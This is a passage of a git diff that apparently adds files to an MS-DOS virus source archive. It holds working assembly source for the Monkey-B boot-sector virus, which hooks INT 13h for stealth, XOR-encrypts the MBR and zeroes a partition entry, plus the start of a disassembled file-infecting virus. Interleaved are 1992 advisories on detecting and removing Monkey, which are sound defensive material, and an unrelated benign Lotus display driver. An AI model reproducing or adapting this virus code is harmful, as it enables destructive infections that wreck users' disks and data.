+FLOPPY_HEAD DB 00H,01H,01H +HARD_HEAD DB 00H,00H,00H + + ; 360 720 1.2 1.44 +FLOP_SECT_TABLE DB 02H,05H,09H,0BH +SAVE_SECT_TABLE DB 03H,05H,0EH,0EH + +CHSEC PROC NEAR + PUSH DI + PUSH SI + MOV AL,ES:[BX+14H] + MOV CX,0004H +CHSEC_1: + MOV SI,CX + DEC SI + CMP FLOP_SECT_TABLE[SI],AL + JZ CHSEC_END_1 + LOOP CHSEC_1 + MOV CL,03H + JMP SHORT CHSEC_END_2 +CHSEC_END_1: + MOV CL,SAVE_SECT_TABLE[SI] +CHSEC_END_2: + POP SI + POP DI + RET +CHSEC ENDP + +SHIFT_NORMAL PROC NEAR + ; FIND THE SEGMENT TO HIDE + DEC AX + MOV DS:[413H],AX + +SHIFT_SPECIAL: + MOV CL,06H + SHL AX,CL + ADD AL,20H + MOV ES,AX + RET +SHIFT_NORMAL ENDP + +PATCH PROC NEAR ; PATCH ON BOOT SECTOR STARTING AT BYTE int_13 + PUSH SI + MOV DI,BX + MOV SI,OFFSET INT_13 + ADD DI,SI +; CLD + MOV CX,OFFSET PROG_END - OFFSET INT_13 + REPZ MOVSB + +PATCH_JMP: + MOV DI,BX + + SUB SI,SI + MOV CL,3H + REPZ MOVSB + + POP SI + RET +PATCH ENDP + +SET_HEAD PROC NEAR + PUSH CS + POP DS + + MOV SI,OFFSET FLOPPY_HEAD + CMP DL,80H + JB SET_HEAD_EXIT + MOV SI,OFFSET HARD_HEAD +SET_HEAD_EXIT: + RET +SET_HEAD ENDP + +INITIAL: + CLI + SUB BX,BX + MOV DS,BX + MOV SS,BX + MOV SP,7C00H + JMP HOOK + NOP + NOP + +ENCRPT_PBR: + PUSH DI + PUSH CX + PUSH AX + + MOV DI,BX + MOV CX,200H + + CLD +ENCRPT_1: + MOV AL,ES:[DI] +ENCRPT_CODE EQU $ + 0001H + XOR AL,2EH + STOSB + LOOP ENCRPT_1 + + POP AX + POP CX + POP DI + RET + + + ORG 01F4H +;PROG_NAME DB "Monkey" +PROG_NAME DB 6dh,8fh,8eh,8bh,85h,99h + + ORG 01FAH +PROG_SIG DB 19H,92H + +PROG_END EQU THIS BYTE + + ORG 01FCH +INT13_ADDR DB 00H,00H + + ORG 01FEH +BOOT_SIG DB 55H,0AAH +PROG_TAIL EQU THIS BYTE + +PROG_LEN EQU OFFSET PROG_END - OFFSET INT_13 + + +CODE ENDS + END MAIN + +; from U of A +NEW COMPUTER VIRUS THREAT Posted: July 9, 1992 + +MONKEY VIRUSES ON PCs + +The Monkey viruses are main boot record/boot sector infectors, +derived from the Empire D virus. Two variants of the Monkey virus +have been identified. Of particular concern is the fact these +viruses can infect computers protected by the Disk Secure program, +while causing no noticeable changes. Symptoms of infection for +those computers without Disk Secure include memory reduction and +hard drive partitions which are not accessible when booting up +with a floppy disk. When the viruses are active on computers +without Disk Secure, total memory will be reduced by 1,024 bytes. + +Monkey viruses destroy partition table data. If an infected system +is booted up from a clean boot disk, DOS claims to be unable to +access the hard drive partitions. A DIR C: command will return the +message, "Invalid drive specification." + +Detection + +The simplest method of detection involves recognizing a 1K +decrease in memory. The DOS commands CHKDSK and MEM will return 1K +less "total conventional memory" than is normal. + +Of the popular virus scanning products, only F-PROT version 2.04A +finds the Monkey viruses, calling them a "New variant of Stoned." +It will identify the virus in memory as well. The F-PROT Virstop +driver does not recognize the Monkey viruses on boot-up. + +Disk Secure version 1.15a (ds115a.zip) has a version of the CHKSEC +program that will notice the presence of the Monkey viruses. Note +that Disk Secure itself will not detect the infection: it is +important that the CHKSEC command be called from the autoexec.bat +file. + +As well, a special program to find and remove the Monkey viruses, +called KILLMONK, has been written at the University of Alberta. + +Removal + +To clean a hard disk: If you have previously saved a copy of the +clean main boot record (MBR), then this can be restored. (Many +anti-virus products have an automated way of doing this.) If you +don't have a copy of the original MBR, and don't know what values +your partition table should have, then the KILLMONK program will +restore the partition table for you. + +To restore diskettes: Use the KILLMONK program. + +The newest version of F-PROT (version 2.04A) and the KILLMONK +program, are both available, free of charge, from Computing and +Network Services. Bring a formatted diskette to the Microcomputer +Demonstration Centre (MDC), in the basement of the Bookstore, or a +ready-made diskette can be purchased for $2.00 from the CNS User +Support Centre at 302 General Services Building. These programs +can also be downloaded from the MTS account VIR. + +;From: martin@cs.ualberta.ca (Tim Martin; FSO; Soil Sciences) +Subject: WARNING - new viruses, Monkey.1 and Monkey.2 (PC) +Date: 20 Jul 92 09:10:09 GMT + +Virus Name: MONKEY.1, MONKEY.2 (Empire variants) +V Status: New +Discovery: February, 1992 +Symptoms: Memory reduction, hard drive partitions not accessible on + floppy bootup. +Origin: Alberta, Canada +Eff. Length: 512 bytes +Type Code: BPRtS (Boot and Partition table infector - Resident TOM - + Stealth) +Detection: CHKDSK, F-PROT 2.04, CHKSEC from Disk Secure 1.15, KILLMONK +Removal: Cold boot from clean, write-protected floppy, replace MBR +(hard + disk) or Boot Sector (floppy). + +General Comments: +The Monkey viruses are Main Boot Record / Boot Sector infectors, +derived from the Empire D virus. Two variants of the Monkey virus +have been identified: their most obvious difference is in the initial +bytes at offset 0: +Monkey.1: E9 CD 01 (JMP 02D0) +Monkey.2: EB 1E 90 (JMP 0020 ; NOP) + +Both variants keep the original sector's data at offset 03h - 1fh. In +boot sectors, this region contains data required to identify the +diskette format. This solves the problem noticed with earlier +variants of Empire, whereby infected 720k diskettes were sometimes +unreadable. + +The Monkey viruses take 1k from the top of memory. When active, total +memory will be reduced by 1024 bytes. + +The Monkey viruses use stealth to protect both the MBR and diskette +boot sectors. When active in memory, Int 13h calls cannot access the +infected sector of either hard disks or floppies. + +The Monkey viruses are not polimorphic. They do not encode any of the +virus, as was done by some of the earlier Empire variants. But before +saving the clean MBR or boot sector to a hiding place, the Monkey +viruses do encode that sector, using an "XOR 2Eh". This creates a +problem for any disinfecting program that recover the initial boot +sector or MBR by copying it from the hiding place. + +When a hard disk is infected, the encoded MBR is put at side 0, +cylinder 0, sector 3. + +When a floppy diskette is infected, the original boot sector is placed +in the bottom sector of the root directory. This means directory +entries will be lost only if the root directory is nearly full -- more +than 96 entries on double density diskettes, or more than 208 entries +on high density diskettes. The virus is designed to identify only the +four most common diskette formats. If the diskette is not of a +recognized format, the boot sector is put on side 1, sector 3. I have +no idea what would happen to a 2.88Mb diskette, but I suspect the +virus would damage the File Allocation Table, causing loss of data. + +The Monkey viruses do not put any messages to the screen at any time, +but the virus code does contain, encrypted, the string "Monkey", +followed by bytes 1992h. It may be significant that the chinese Year +of the Monkey began in February 1992. + +The most remarkable characteristic of the Monkey viruses is that they +were designed as an attack on Padgett Peterson's "Disk Secure" +product. When a computer is booted from an infected diskette, the +virus first checks whether Disk Secure is on the hard disk. If it is, +the virus puts itself in sector 2, rather than sector 1, and slightly +modifies Disk Secure, so that Disk Secure will load the virus after +Disk Secure has checked the system and loaded itself. The monkey +viruses install themselves and above Disk Secure, in memory, at offset +200h. + +The Monkey viruses do not save the partition table data in place, so +if an infected system is booted from a clean boot disk, DOS claims to +be unable to access the hard drive partitions. A DIR C: command will +return "Invalid drive specification". + +Detection: +Of the popular virus scanning products, only F-PROT 2.04 finds the +Monkey viruses, calling them a "New variant of stoned". It will +identify the virus in memory as well. The F-PROT Virstop driver does +not recognise the Monkey viruses, on boot-up. + +Disk Secure v. 1.15a (ds115a.zip) has a version of CHKSEC that will +notice the presence of the Monkey viruses. Notice that Disk Secure +itself will not detect the infection: it is important that the CHKSEC +command be called from the autoexec.bat file. + +The simplest detection still involves recognizing a 1k decrease in +memory. CHKDSK and MEM will return 1k less "total conventional +memory" than normal. + +A special program to find and remove the Monkey viruses, called +KILLMONK, has been written at the University of Alberta. I hope to +make this available to the anti-virus community shortly. + +Removal: +The undocumented /MBR option of FDISK does remove the Monkey virus +from the MBR, provided the computer was booted from a clean floppy, +but it does not restore the correct partition table values. The +problem is that the partition table is not in place in sector one: the +table is encoded, in sector 3. + +To clean a hard disk: If you have previously saved a copy of the clean +MBR, then this can be restored. (Many anti-virus products have an +automated way of doing this.) If you don't have a copy of the +original MBR, and don't know what values your partition table should +have, then the KILLMONK program may be what you need. + +To restore diskettes: Padgett Peterson's FIXFBR works very well, +though it doesn't recognize that the disk is infected. Another +alternative is the KILLMONK program. + +Scan String: +The following hexidecimal string is in both variants of Monkey. It is +from the code the virus uses to recognize itself. + 26 81 bf fa 01 19 92 c3 26 81 bf 19 01 50 61 + +Tim + + ; From F-PROT + + Name: Monkey + Type: Boot MBR Stealth + + The Monkey virus was first discovered in Edmonton, Canada, in the + year 1991. The virus spread quickly to USA, Australia and UK. + Monkey is one of the most common boot sector viruses. + + As the name indicates, Monkey is a distant relative of Stoned. + Its technical properties make it quite a remarkable virus, + however. The virus infects the Master Boot Records of hard disks + and the DOS boot records of diskettes, just like Stoned. Monkey + spreads only through diskettes. + + Monkey does not let the original partition table remain in its + proper place in the Master Boot Record, as Stoned does. Instead + it moves the whole Master Boot Record to the hard disk's third + sector, and replaces it with its own code. The hard disk is + inaccesible after a diskette boot, since the operating system + cannot find valid partition data in the Master Boot Record - + attempts to use the hard disk result in the DOS error message + "Invalid drive specification". + + When the computer is booted from the hard disk, the virus is + executed first, and the hard disk can thereafter be used + normally. The virus is not, therefore, easily noticeable, unless + the computer is booted from a diskette. + + The fact that Monkey encrypts the Master Boot Record besides + relocating it on the disk makes the virus still more difficult to + remove. The changes to the Master Boot Record cannot be detected + while the virus is active, since it rerouts the BIOS-level disk + calls through its own code. Upon inspection, the hard disk seems + to be in its original shape. + + The relocation and encryption of the partition table render two + often-used disinfection procedures unviable. One of these is the + MS-DOS command FDISK /MBR, capable of removing most viruses that + infect Master Boot Records. The other is using a disk editor to + restore the Master Boot Record back on the zero track. Although + both of these procedures destroy the actual virus code, the + computer cannot be booted from the hard disk afterwards. + + There are five different ways to remove the Monkey + virus: + o The original Master Boot Record and partition table can + be restored from a backup taken before the infection. + Such a backup can be made by using, for example, the + MIRROR /PARTN command of MS-DOS 5. + + o The hard disk can be repartitioned by using the FDISK + program, after which the logical disks must be formatted. + All data on the hard disk will consequently be lost, + however. + + o The virus code can be overwritten by using FDISK/MBR, and + the partition table restored manually. In this case, the + partition values of the hard disk must be calculated and + inserted in the partition table with the help of a disk + editor. The method requires expert knowledge of the disk + structure, and its success is doubtful. + + o It is possible to exploit Monkey's stealth capabilities + by taking a copy of the zero track while the virus is + active. Since the virus hides the changes it has made, + this copy will actually contain the original Master Boot + Record. This method is not recommendable, because the + diskettes used in the copying may well get infected. + + o The original zero track can be located, decrypted and + moved back to its proper place. As a result, the hard + disk is restored to its exact original state. F-PROT uses + this method to disinfect the Monkey virus. + + It is difficult to spot the virus, since it does not activate in + any way. A one-kilobyte reduction in DOS memory is the only + obvious sign of its presence. The memory can be checked with, for + instance, DOS's CHKDSK and MEM programs. However, even if MEM + reports that the computer has 639 kilobytes of basic memory + instead of the more common 640 kilobytes, it does not necessarily + mean that the computer is infected. In many computers, the BIOS + allocates one kilobyte of basic memory for its own use. + + The Monkey virus is quite compatible with different diskette + types. It carries a table containing data for the most common + diskettes. Using this table, the virus is able to move a + diskette's original boot record and a part of its own code to a + safe area on the diskette. Monkey does not recognize 2.88 + megabyte ED diskettes, however, and partly overwrites their File + Allocation Tables. + + diff --git a/MSDOS/Virus.MSDOS.Unknown.monkeyb.asm b/MSDOS/Virus.MSDOS.Unknown.monkeyb.asm new file mode 100644 index 00000000..f952ac88 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.monkeyb.asm @@ -0,0 +1,303 @@ + +; A86 Assembler source for Monkey-B virus. + jmp short virus_start ;all jmps are short + nop + mov ss, ax + mov sp, 7c00h + mov si, sp + push ax + pop es + push ax + pop ds + sti + cld + mov di, 0600h + mov cx, 100h + repnz movsw + db 0eah, 1dh, 6, 0, 0 + ;jmp far 0000:061dh + + mov si, 7beh + + +virus_start: + cli ;no system interrupts + sub bx, bx ;zero bx + mov ds, bx ; + mov ss, bx + mov sp, 7c00h ;just below boot data area + + db 0eah, 2fh, 0, 0c0h, 7 + ;***thats a jmp far 07c0:002f, which is next instruction + ;***this sets offsets to org 0 + + + int 12h ;get sys mem in ax + mov si, 4ch + push si + cmp byte ptr cs:[00f2h], 2 ;test for BIOS mem location + jz next_pt1 + call shrink_mem + mov di, 01fc + mov cx, 2 + cld + repz movsw ;load int13h address into virus INT 13h handler + ;which will start at es:0 + jmp short next_pt2 +next_pt1: + call set_es +next_pt2: + pop si ;points to INT 13h vector entry + mov word ptr [si], 007dh ;offset + mov word ptr [si + 2], ax ;ax == es, where virus handler is going + push cs + pop ds ;ds == 0 up to this point + call mov_virus ;ds now == 7c0h + push es + mov ax, 0062h ;for retf to virus + push ax + sti ;enable interrupts + retf ;to es:62h - see next routine +set_virus: ;<- this is offset 62h! at virus location es:0062h + mov es, cx ;like xor es, es + mov bx, sp ;still at 7c00h! + push cx + push bx ;for return to 0000:7c00 + mov dx, 0080h ;c: drive, cyl 0 + call set_si ;haven't figured this out yet + call do_virus_thing + mov cl, 3 + mov dx, 80h + call read_drive + call scramble_boot + retf +int_13h_handler: + push ds + push si + push di + push ax + push cx + push dx + call set_si + cmp ah, 2 ;read operation? + jnz not_two + push dx + sub ax, ax + int 1ah + cmp dl, 40h + pop dx + jnb not_two + call do_virus_thing ;write a virus to the drive or disk +not_two: + pop dx + pop cx + pop ax + pop di + push dx + push cx + push ax + cmp cx, 3 + jnb not_three + cmp dh, [si] ;check for read/write to virus sector + jnz not_three + cmp ah, 2 + jz call_int13h + cmp ah, 3 + jnz not_three + cmp dl, 80h + jb not_three + sub ah, ah + jmp short not_three + +call_int13h: + call int_13h_call + jb end_handler + call check_data1 + jz point_two + call check_data2 + jz point_two + clc + jmp short end_handler +point_two: + call set_real_partition + mov dh, [si + 1] + pop ax + call int_13h_call + call scramble_boot + pop cx + pop dx + jmp short end_here +not_three: + call int_13h_call +end_handler: + pop ds + pop ds + pop ds +end_here: + pop si + pop ds + retf 2 +data_area db 0, 1, 1, 0, 0, 0, 0, 80h, 1, 0, 5, 9, 0bh, 3, 5, 0eh, +0eh +read_drive: + mov ax, 0201h ;read 1 sector +int_13h_call: + pushf ;simulate INT + db 2eh, 0ffh, 01eh, 0fch, 1 ;cs:call far [01fch] + ret +shrink_mem: + dec ax ;contains mem from int 12h + mov di, 414h + dec di ;this has got to be a "fool the scanner" trick + mov [di], ax ;shrink sys me by 1 K +set_es: + mov cl, 6 + shl ax, cl ;get top of base mem in segs + add al, 20h ;add a little more to be safe + mov es, ax ;and set es. This will be about 9fe0h or so + ;if full 640K mem + ret +write_drive: + mov dh, [si] ;on first infection si == 0 - head 0 + mov ax, 0301h ;write one sector + call int_13h_call ;and do it + ret +do_virus_thing: + sub cx, cx + inc cx + push cx ;god, mov cx, 1 + mov dh, [si] ;location of sector + call read_drive ;read in one sector, this will be +partition + ;on first infection + jb end_do_virus_thing ;error? lets abort + call check_data1 ;do we have 9219h sectors in last +partition? + jz end_do_virus_thing ;if so, get out of town + + call check_data2 + jnz next_virus_pt + cmp word ptr es:[bx + 1fah], 0 ; 0 sectors in last partition? + jz end_do_virus_thing ; quit + + mov word ptr es:[bx + 1fah], 0 ;this will kill last partition + mov cl, 1 ;sector 1? + call write_drive + jb end_do_virus_thing ;error abort + inc cx ;sector 2? + mov dh, [si + 2] + + call read_drive ;get the boot sector + jb end_do_virus_thing + pop ax ;should == 1 + push cx +next_virus_pt: + call set_real_partition + call scramble_boot + inc si + call write_drive + dec si + jb end_do_virus_thing + call scramble_boot + push cx + call mov_virus + pop cx + push dx + mov dl, [si + 3] + + ;mov word ptr es:[bx + 74h], dx + db 26h, 89h, 97h, 74h, 00 + ;****equivalent, I did this due to A86 translation being a little + ;****different than the virus I captured + + pop dx + + ;mov byte ptr es:[bx + 72h], cl + db 26h, 88h, 8fh, 72h, 00 + ;****equivalent, I did this due to A86 translation being a little + ;****different than the virus I captured + mov word ptr es:[bx + 01feh], 0AA55h + pop cx + push cx + mov byte ptr es:[bx + 00f2h], cl + call write_drive +end_do_virus_thing: + pop ax + ret +mov_virus: +;****************** whole virus including first jmp is stored +;****************** and accessed later for disk/drive infections + + push si + mov di, bx ;di == 0 + mov si, 20h ;this is where virus starts + add di, si ;he's keeping space between 1st jmp + ;and the virus loading stub constant + ;to facilitate future infections + mov cx, 1dch ;we're moving this many + repz movsb ;and mov 'em + mov di, bx ;like xor di, di + sub si, si ;like xor si, si + mov cl, 3 ;movs the first jmp + repz movsb ;instruction! + + pop si + ret +;************checks for number of sectors in last partition! +check_data1: + cmp word ptr es:[bx + 01fah], 9219h + ret +;************not sure what is going on here, offset 119h is in the partition +code +;************this ain't a virus ID +check_data2: + cmp word ptr es:[bx + 119h], 6150h + ret +scramble_boot: + push di + push cx + push ax + mov di, bx + mov cx, 200h + cld +scram_loop: + mov al, byte ptr es:[di] + xor al, 2eh + stosb + loop scram_loop + pop ax + pop cx + pop di + ret +set_si: + push cs + pop ds + mov si, 00eah ;location of real partition + cmp dl, 80h ;hard drive access? + jb end_set_si ;no? lets go + mov si, 00eeh ;hard drive infection routine +end_set_si: + ret +;***********I think this loads the real partition which was read from sector 2 +;***********DS equ 7c0h +set_real_partition: + push di + push si + mov al, byte ptr es:[bx + 14h] + mov cx, 4 +loop_ptr: + mov si, cx + dec si + cmp [si + 00f3h], al + jz set_cl + loop loop_ptr + mov cl, 3 + jmp short bye +set_cl: + mov cl, [si+00f7h] +bye: + pop si + pop di + ret + +scraps db 05dh, 7fh, 7eh, 7bh, 75h, 89h, 19h, 92h, 0, 0, 55h, 0aah \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.monograf.asm b/MSDOS/Virus.MSDOS.Unknown.monograf.asm new file mode 100644 index 00000000..6671c27d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.monograf.asm @@ -0,0 +1,312 @@ +; MONOGRAF.DRV -- Lotus Driver for Graphics on Monochrome Display +; ============ +; +; (For use with Lotus 1-2-3 Version 1A) +; +; (C) Copyright Charles Petzold, 1985 + +CSEG Segment + Assume CS:CSEG + + Org 0 +Beginning dw Offset EndDriver,1,1,Offset Initialize + + Org 18h + db "Monochrome Graphics (C) Charles Petzold, 1985",0 + + Org 40h + dw 40 * 8 - 1 ; Maximum Dot Column + dw 25 * 8 - 1 ; Maximum Dot Row + dw 10, 7, 6, 10, 7, 6, 256 + db -1 ; For one monitor + + Org 53h + Jmp Near Ptr ClearScreen ; Call 0 -- Clear Screen + Jmp Near Ptr ColorSet ; Call 1 -- Set Color + Jmp Near Ptr SetAddress ; Call 2 -- Set Row/Col Addr + Jmp Near Ptr DrawLine ; Call 3 -- Draw a Line + Jmp Near Ptr Initialize ; Call 4 -- Write Dot (nothing) + Jmp Near Ptr WriteChar ; Call 5 -- Write a Character + Jmp Near Ptr DrawBlock ; Call 6 -- Draw a Block + Jmp Near Ptr Initialize ; Call 7 -- Read Dot (nothing) + Jmp Near Ptr Initialize ; Call 8 -- Video Reset + +; Initialization Routine +; ---------------------- + +Initialize Proc Far + Mov AX,0 ; This is standard + Or AX,AX ; for all drivers + Ret +Initialize EndP + +; Common Data Used in Routines +; ----------------------------------- + +CharacterRow dw ? ; from 0 to 24 +CharacterCol dw ? ; from 0 to 79 +ScreenAddress dw ?,0B000h ; Offset & Segment +CurrentColor db ?,7 ; For Screen Output +Colors db 219,219,178,177,176,219,178 ; Actually blocks + +; Row and Column Conversion of AX from graphics to character +; ---------------------------------------------------------- + +Rounder dw 0 ; Value to add before division +Divisor db ? ; Value to divide by +MaxDots dw ? ; Number of dots + +RowConvertRnd: Mov [Rounder],4 ; Row rounding -- add 4 +RowConvert: Mov [Divisor],8 ; Row normal -- divide by 8 + Mov [MaxDots],200 ; 25 lines times 8 dots + Jmp Short Convert ; And do generalized conversion + +ColConvertRnd: Mov [Rounder],2 ; Column rounding -- add 2 +ColConvert: Mov [Divisor],4 ; Will divide by 4 + Mov [MaxDots],320 ; 40 columns times 4 dots + +Convert: Cmp AX,[MaxDots] ; See if graphics value OK + Jb OKToConvert ; It is if under maximum + Jl Negative ; But could be negative + Sub AX,[MaxDots] ; Otherwise wrap down + Jmp Convert ; And check again +Negative: Add AX,[MaxDots] ; Negatives wrap up + Jmp Convert ; And check again + +OkToConvert: Add AX,[Rounder] ; Add rounding value + Div [Divisor] ; Divide + Cbw ; And convert to word + Mov [Rounder],0 ; For next time through + Ret + +; Calc Offset -- DX, CX character positions in +; ----------- + +CalcOffset: Push AX + Push DX + + Mov AX,80 ; Columns Per Line + Mul DX ; AX now at beginning of row + Add AX,CX ; Add column value + Add AX,AX ; Double for attributes + Mov [ScreenAddress],AX ; Save as the current address + + Pop DX + Pop AX + + Ret + +; Address Convert -- DX, CX row and column converted to character +; --------------- + +AddrConvert: Push AX + + Mov AX,DX ; This is graphics row + Call RowConvert ; Convert to character row + Mov DX,AX ; Save back in DX + Mov [CharacterRow],AX ; And save value in memory + + Mov AX,CX ; This is graphics column + Call ColConvert ; Convert to character column + Mov CX,AX ; Back in CX + Mov [CharacterCol],AX ; And value also saved + + Call CalcOffset ; Find the screen destination + + Pop AX + + Ret + +; Call 0 -- Clear Screen -- AL = 0 for B&W +; ====================== -1 for Color + +ClearScreen Proc Far + Mov AX,0B000h ; Monochrome Segment + Mov ES,AX ; Set EX to it + Sub DI,DI ; Start at zero + Mov CX,25 * 80 ; Number of characters + Mov AX,0720h ; Blanks only + Cld ; Forward direction + Rep Stosw ; Do it + Ret +ClearScreen EndP + +; Call 1 -- Color Set -- AL = Color (0, 1-6) +; ------------------- + +ColorSet Proc Far + Mov BX,Offset Colors ; Blocks for 7 colors + Xlat Colors ; Translate the bytes + Mov [CurrentColor],AL ; And save it + Ret +ColorSet EndP + +; Call 2 -- Set Address -- DX = Graphics Row +; --------------------- CX = Graphics Columns + +SetAddress Proc Far + Call AddrConvert ; One routine does it all + Ret +SetAddress EndP + +; Call 3 -- Draw Line -- DX = End Row +; ------------------- CX = End Column + +DrawLine Proc Far + Les DI,DWord Ptr [ScreenAddress] ; Beginning address + Mov AX,[CharacterCol] ; AX now beginning column + Mov BX,[CharacterRow] ; BX now beginning row + + Call AddrConvert ; CX,DX now ending col, row + + Cmp AX,CX ; See if cols are the same + Je VertLine ; If so, it's vertical line + + Cmp BX,DX ; See if rows are the same + Jne DrawLineEnd ; If not, don't draw anything + +HorizLine: Sub CX,AX ; Find the number of bytes + Mov BX,2 ; Increment for next byte + Mov AL,196 ; The horizontal line + Mov AH,179 ; The vertical line + Jae DrawTheLine ; If CX > AX, left to right + Jmp Short ReverseLine ; Otherwise right to left + +VertLine: Mov CX,DX ; This is the ending column + Sub CX,BX ; Subtract beginning from it + Mov BX,80 * 2 ; Increment for next line + Mov AL,179 ; The vertical line + Mov AH,196 ; The horizontal line + Jae DrawTheLine ; If CX > BX, up to down + +ReverseLine: Neg BX ; Reverse Increment + Neg CX ; Make a positive value + +DrawTheLine: Inc CX ; One more byte than calced + +DrawLineLoop: Cmp Byte Ptr ES:[DI],197 ; See if criss-cross there + Je DrawLineCont ; If so, branch around + + Cmp ES:[DI],AH ; See if opposite line + Jne NoOverLap ; If not, skip next code + + Mov Byte Ptr ES:[DI],197 ; Write out criss-cross + Jmp Short DrawLineCont ; And continue + +NoOverLap: Mov ES:[DI],AL ; Display line chararacter + +DrawLineCont: Add DI,BX ; Next destination + Loop DrawLineLoop ; For CX repetitions + +DrawLineEnd: Ret +DrawLine EndP + +; Call 5 -- Write Character -- DX, CX = row, col; BX = count, +; ------------------------- AH = direction, AL = type + +Direction db ? + +WriteChar Proc Far + + Push BX ; Save count + Add BX,BX ; Initialize adjustment + Mov [Direction],AH ; Save direction + + Or AL,AL ; Branch according to type + Jz WriteType0 + Dec AL + Jz WriteType1 + Dec AL + Jz WriteType2 + Dec AL + Jz WriteType3 + +WriteType4: Mov AX,4 ; Adjustment to row + Jmp Short WriteCharCont + +WriteType3: Add BX,BX ; Center on column +WriteType2: Sub AX,AX ; No adjustment to row + Jmp Short WriteCharCont + +WriteType1: Sub BX,BX ; No adjustment on column +WriteType0: Mov AX,2 ; Adjustment to row + +WriteCharCont: Cmp [Direction],0 ; Check the direction + Jz HorizChars + + Sub DX,BX ; Vertical -- adjust row + Sub DX,BX + Sub CX,AX ; Adjust column + Mov AX,80 * 2 - 1 ; Increment for writes + Jmp Short DoWriteChar + +HorizChars: Sub DX,AX ; Horizontal -- adjust row + Sub DX,AX + Sub CX,BX ; Adjust column + Mov AX,1 ; Increment for writes + +DoWriteChar: Call AddrConvert ; Convert the address + Les DI,DWord Ptr [ScreenAddress] ; Get video address + Cld + Pop CX ; Get back character count + Jcxz WriteCharEnd ; Do nothing if no characters + +CharacterLoop: Movsb ; Write character to display + Add DI,AX ; Increment address + Loop CharacterLoop ; Do it CX times + +WriteCharEnd: Ret +WriteChar EndP + +; Call 6 -- Draw Block -- BX,DX = Rows; AX,CX = Columns +; -------------------- + +DrawBlock Proc Far + Call ColConvertRnd ; AX now first char col + Xchg AX,CX ; Switch with 2nd graph col + Call ColConvertRnd ; AX now 2nd char col + Cmp AX,CX ; Compare two char cols + Je DrawBlockEnd ; End routine if the same + Ja NowDoRow ; If CX lowest, just continue + + Xchg AX,CX ; Otherwise switch them + +NowDoRow: Xchg AX,BX ; AX now 1st graph row + Call RowConvertRnd ; AX now 1st char row + Xchg AX,DX ; AX now 2nd graph row + Call RowConvertRnd ; AX now 2nd char row + Cmp AX,DX ; Compare two character columns + Je DrawBlockEnd ; End routine if the same + Ja BlockRowLoop ; If DX lowest, just continue + + Xchg AX,DX ; Otherwise switch them + +BlockRowLoop: Push CX ; Beginning Column + Push BX ; Ending Column + +BlockColLoop: Call CalcOffset ; Calculate screen address + Les DI,DWord Ptr [ScreenAddress] ; And set ES:DI + + Push Word Ptr [CurrentColor] ; Push the current color + Pop ES:[DI] ; And Pop it on the screen + + Inc CX ; Next Column + Cmp CX,BX ; Are we an end? + Jb BlockColLoop ; Nope -- loop again + + Pop BX ; Get back beginning col + Pop CX ; And the end + + Inc DX ; Prepare for next row + Cmp DX,AX ; Are we at the end? + Jb BlockRowLoop ; If not, loop + +DrawBlockEnd: Ret +DrawBlock EndP + + Org $ + 16 - (($ - Beginning) Mod 16) +EndDriver Label Byte + +CSEG EndS + End + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.monxla.asm b/MSDOS/Virus.MSDOS.Unknown.monxla.asm new file mode 100644 index 00000000..f00138a1 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.monxla.asm @@ -0,0 +1,785 @@ +; Start disassembly +DATA_1E EQU 64H ; (761D:0064=0) +DATA_2E EQU 66H ; (761D:0066=0) +DATA_3E EQU 68H ; (761D:0068=0) +DATA_10E EQU 4F43H ; (761D:4F43=0) +DATA_11E EQU 504DH ; (761D:504D=0) + +SEG_A SEGMENT + ASSUME CS:SEG_A, DS:SEG_A + + + ORG 100h + +Time PROC FAR + +start: + JMP Virus_Entry_Point ; + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Original Program without 1st three bytes... ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +DATA_5 DB 9987 DUP (90H) + MOV AH,4CH ; + MOV AL,DATA_2 ; Terminate to DOS with + INT 21H ; exitcode AL + DB 0 +DATA_2 DB 0 + DB 0 + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Virus Entry Point ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +Virus_Entry_Point: + JMP SHORT Set_Virus_Data_Point + NOP + +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ +;ŪŪ ŪŪ +;ŪŪ Set Virus Data Storage Point ŪŪ +;ŪŪ ŪŪ +;ŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪŪ + +Set_Virus_Data_Point: + PUSH CX ; Store CX + MOV DX,2B2DH ; + MOV SI,DX ; SI points at start of + ; virus data + 